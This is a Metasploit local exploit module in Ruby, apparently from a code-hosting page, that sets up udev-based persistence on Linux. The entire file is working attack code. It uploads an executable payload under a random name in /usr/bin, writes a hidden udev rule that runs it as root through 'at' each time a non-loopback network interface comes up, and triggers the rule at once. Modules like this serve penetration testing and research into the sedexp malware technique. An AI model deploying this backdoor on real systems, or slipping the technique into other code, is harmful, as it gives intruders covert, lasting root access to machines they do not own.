Martin Sutovsky
101 lines
3.3 KiB
Ruby
101 lines
3.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'udev persistence',
|
|
'Description' => %q{
|
|
This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
|
|
It'll be executed with root privileges everytime a network interface other than l0 comes up.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Julien Voisin'
|
|
],
|
|
'Platform' => [ 'unix', 'linux' ],
|
|
'Arch' => ARCH_CMD,
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'DefaultOptions' => { 'WfsDelay' => 90_000 },
|
|
'Targets' => [ ['Automatic', {}] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '1999-01-01',
|
|
'Passive' => true,
|
|
'Stance' => Msf::Exploit::Stance::Passive,
|
|
'Notes' => {
|
|
'Stability' => [],
|
|
'Reliability' => [EVENT_DEPENDENT],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK]
|
|
},
|
|
'References' => [
|
|
['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
|
|
['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
|
|
]
|
|
)
|
|
)
|
|
register_options([
|
|
|
|
OptString.new('PAYLOAD_PATH', [false, 'The payload\'s path on disk', '']),
|
|
OptString.new('BACKDOOR_PATH', [false, 'The backdoor\'s path on disk', ''])
|
|
])
|
|
end
|
|
|
|
def get_command
|
|
unless executable? '/usr/bin/at'
|
|
fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
|
|
end
|
|
%(/usr/bin/at -M -f #{@payload_path} now)
|
|
end
|
|
|
|
def exploit
|
|
@payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH']
|
|
|
|
@backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_numeric(2) + '-' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
|
|
|
|
unless writable? File.dirname(@backdoor_path)
|
|
fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"
|
|
end
|
|
|
|
if exists? @backdoor_path
|
|
fail_with Failure::BadConfig, "#{@backdoor_path} is already present"
|
|
end
|
|
|
|
unless writable? File.dirname(@payload_path)
|
|
fail_with Failure::BadConfig, "#{@payload_path} is not writable"
|
|
end
|
|
|
|
if exists? @payload_path
|
|
fail_with Failure::BadConfig, "#{@payload_path} is already present"
|
|
end
|
|
|
|
upload_and_chmodx(@payload_path, "#!/bin/sh\n#{payload.encoded}")
|
|
print_status "#{@payload_path} written"
|
|
|
|
fail_with Failure::PayloadFailed, 'Failed to write UDEV file' unless write_file(@backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_command}"))
|
|
|
|
print_status "#{@backdoor_path} written"
|
|
|
|
# need to trigger first rule manually
|
|
print_status 'Triggering udev rule'
|
|
cmd_exec('udevadm trigger -v --subsystem-match=net')
|
|
|
|
stime = Time.now.to_f
|
|
timeout = datastore['ListenerTimeout'].to_i
|
|
loop do
|
|
break if timeout > 0 && (stime + timeout < Time.now.to_f)
|
|
|
|
Rex::ThreadSafe.sleep(1)
|
|
end
|
|
end
|
|
end
|